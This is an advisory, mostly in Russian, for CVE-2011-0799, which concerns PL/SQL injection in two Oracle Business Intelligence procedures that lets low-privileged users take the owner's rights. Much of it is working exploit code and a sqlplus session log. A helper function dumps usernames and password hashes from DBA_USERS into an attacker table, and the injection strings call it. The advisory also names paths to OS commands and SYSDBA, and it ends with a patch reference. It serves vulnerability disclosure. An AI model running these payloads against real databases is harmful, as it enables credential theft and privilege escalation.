
CVE-2011-0799: WB_RT_AUDIT_SHADOW_TABLE Повышение привилегий
Вендор
Oracle
Продукт
Oracle Business Intelligence Standart Edition One 10.1.3.2.1
Тип уязвимости
Повышение привилегий
Reported
20.04.2010
Date of Public Advisory
16.06.2011
Подтверждение
Автор
Александр Поляков
Детальное описание
Пользователи с доступом к исполнению OWBREPOS_OWNER.WB_RT_AUDIT_SHADOW_TABLE (role OWB_O_OWBERPOS_OWNER) могут повысить свои привилегии до владельца базы данных и получить доступ к ОС.
По умолчанию это пользователи:
BISE1_SALES
BISE1_SALESWH
BISE1_TUTORIALWH
HR
OWBERPOS_USER
OWF_MGR
1. PL/SQL инъекция обнаружена в процедуре OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID
Argument Name Type In/Out Default?
P_CUBE_NAME VARCHAR2 IN
Аргумент P_CUBE_NAME не санитизирован, поэтому злоумышленние может внедрить любой SQL-код, который будет исполнен с правами OWBREPOS_OWNER.
OWBREPOS_OWNER не является администратором баз данных, но у него есть ряд критичных ролей и привилегий, которые могут быть использованы для просмотра всех данных в таблицах базы данных, включая хеши пользователей, а также для доступа к файлам ОС, выполнения команд ОС и получения прав SYSDBA.
1.1. У OWBREPOS_OWNER есть привилегия «SELECT ANY DICTIONARY», так что теоретически, возможно получить доступ к хешам паролей и другим данным.
Пример эксплойта
CREATE TABLE SH2KERR(id NUMBER,name VARCHAR(20),password VARCHAR(16));
CREATE OR REPLACE FUNCTION SHOWPASS return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE ‘INSERT INTO SCOTT.sh2kerr(id,name,password) SELECT user_id,username,password FROM DBA_USERS’;
COMMIT;
RETURN ‘Z’;
END;
/
grant execute on SHOWPASS to PUBLIC;
grant insert on sh2kerr to PUBLIC;
exec OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID(‘ccccccccccccccccccccc» and SCOTT.SHOWPASS()=»Z’);
select * from sh2kerr;
DISASSEMBLY
when we execute OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID(‘sometext’) then procedure executes that query:
SQL> select sql_text from v$sql where sql_text like ‘%cccc%’;
DELETE FROM OWB$$$_SOLVE_GROUP_IDS WHERE CUBE_NAME = ‘sometext’
so if we execute OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID(‘ccccccccccccccccccccc» and SCOTT.SHOWPASS()=»Z’);
that will be:
DELETE FROM OWB$$$_SOLVE_GROUP_IDS WHERE CUBE_NAME = ‘sometext’and SCOTT.SHOWPASS()=’Z’
because SCOTT.SHOWPASS() returbs ‘Z’ so this query retirn true.
EXPLOITING
C:\Documents and Settings\Alexandr.Polyakov>sqlplus scott/tiger@172.16.219.52/bi
se1db
SQL*Plus: Release 10.1.0.2.0 — Production on Tue Feb 17 19:59:18 2009
Copyright (c) 1982, 2004, Oracle. All rights reserved.
Connected to:
Oracle Database 10g Release 10.2.0.1.0 — Production
SQL> CREATE TABLE SH2KERR(id NUMBER,name VARCHAR(20),password VARCHAR(16));
Table created.
SQL>
SQL> CREATE OR REPLACE FUNCTION SHOWPASS return varchar2
2 authid current_user as
3 pragma autonomous_transaction;
4 BEGIN
5 EXECUTE IMMEDIATE ‘INSERT INTO SCOTT.sh2kerr(id,name,password) SELECT user_
id,username,password FROM DBA_USERS’;
6 COMMIT;
7 RETURN ‘Z’;
8 END;
9 /
Function created.
SQL> grant execute on SHOWPASS to PUBLIC;
Grant succeeded.
SQL> grant insert on sh2kerr to PUBLIC;
Grant succeeded.
SQL> exec OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID(‘ccccccccccccccccccccc» and
SCOTT.SHOWPASS()=»Z’);
PL/SQL procedure successfully completed.
SQL> select * from sh2kerr;
ID NAME PASSWORD
87 MGMT_VIEW 7341A3470*******
0 SYS 77E6B621F*******
5 SYSTEM 00F69E7C8*******
24 DBSNMP 2799F7BE*******
85 SYSMAN B74FA520*******
79 OWBREPOS_USER 77B72F56*******
54 SCOTT F894844C*******
63 BISE1_TUTORIALWH D41A12EB3*******
1.2. У OWBREPOS_OWNER есть привилегия «CREATE EXTERNAL JOBS», так что он может выполнять команды уровня ОС, как, например, в этом эксплойте
1.3. У OWBREPOS_OWNER есть привилегия «CREATE ANY DIRECTORY», так что он может получить привилегии SYSDBA или выполнять команды уровня ОС, например:
http://www.oracleforensics.com/wordpress/wp-content/uploads/2008/10/create_any_directory_to_sysdba.pdf
2. PL/SQL инъекция обнаружена в процедуре OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID
Уязвимые параметры:
Argument Name Type In/Out Defaul
P_CUBE_NAME VARCHAR2 IN
P_MEASURE_NAME VARCHAR2 IN
P_SOLVE_GROUP_ID VARCHAR2 IN
Пример
CREATE TABLE SH2KERR(id NUMBER,name VARCHAR(20),password VARCHAR(16));
CREATE OR REPLACE FUNCTION SHOWPASS return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE ‘INSERT INTO SCOTT.sh2kerr(id,name,password) SELECT user_id,username,password FROM DBA_USERS’;
COMMIT;
RETURN ‘Z’;
END;
/
grant execute on SHOWPASS to PUBLIC;
grant insert on sh2kerr to PUBLIC;
exec OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID(‘aaa»||SCOTT.SHOWPASS()||»aaa’,’bbb’,’bbb’);
select * from sh2kerr;
DISASSEMBLY (here we can see a query where our code in injected)
SQL> select sql_text from v$sql where sql_text like ‘%aaa%’;
SQL_TEXT
———————————————————————————
INSERT INTO OWB$$$_SOLVE_GROUP_IDS(CUBE_NAME, MEASURE_NAME, SOLVE_GROUP_ID) VALU
ES(‘aaa’||SCOTT.SHOWPASS()||’aaa’, ‘bbb’, ‘ccc’)
select sql_text from v$sql where sql_text like ‘%aaa%’
BEGIN OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID(‘aaa»||SCOTT.SHOWPASS()||»aaa’,’b
bb’,’ccc’); END;
SQL>
Решение
Решение этой проблемы содержится в SAP Oracle Critical patch update April 2011
http://www.oracle.com/technetwork/topics/security/cpuapr2011-301950.html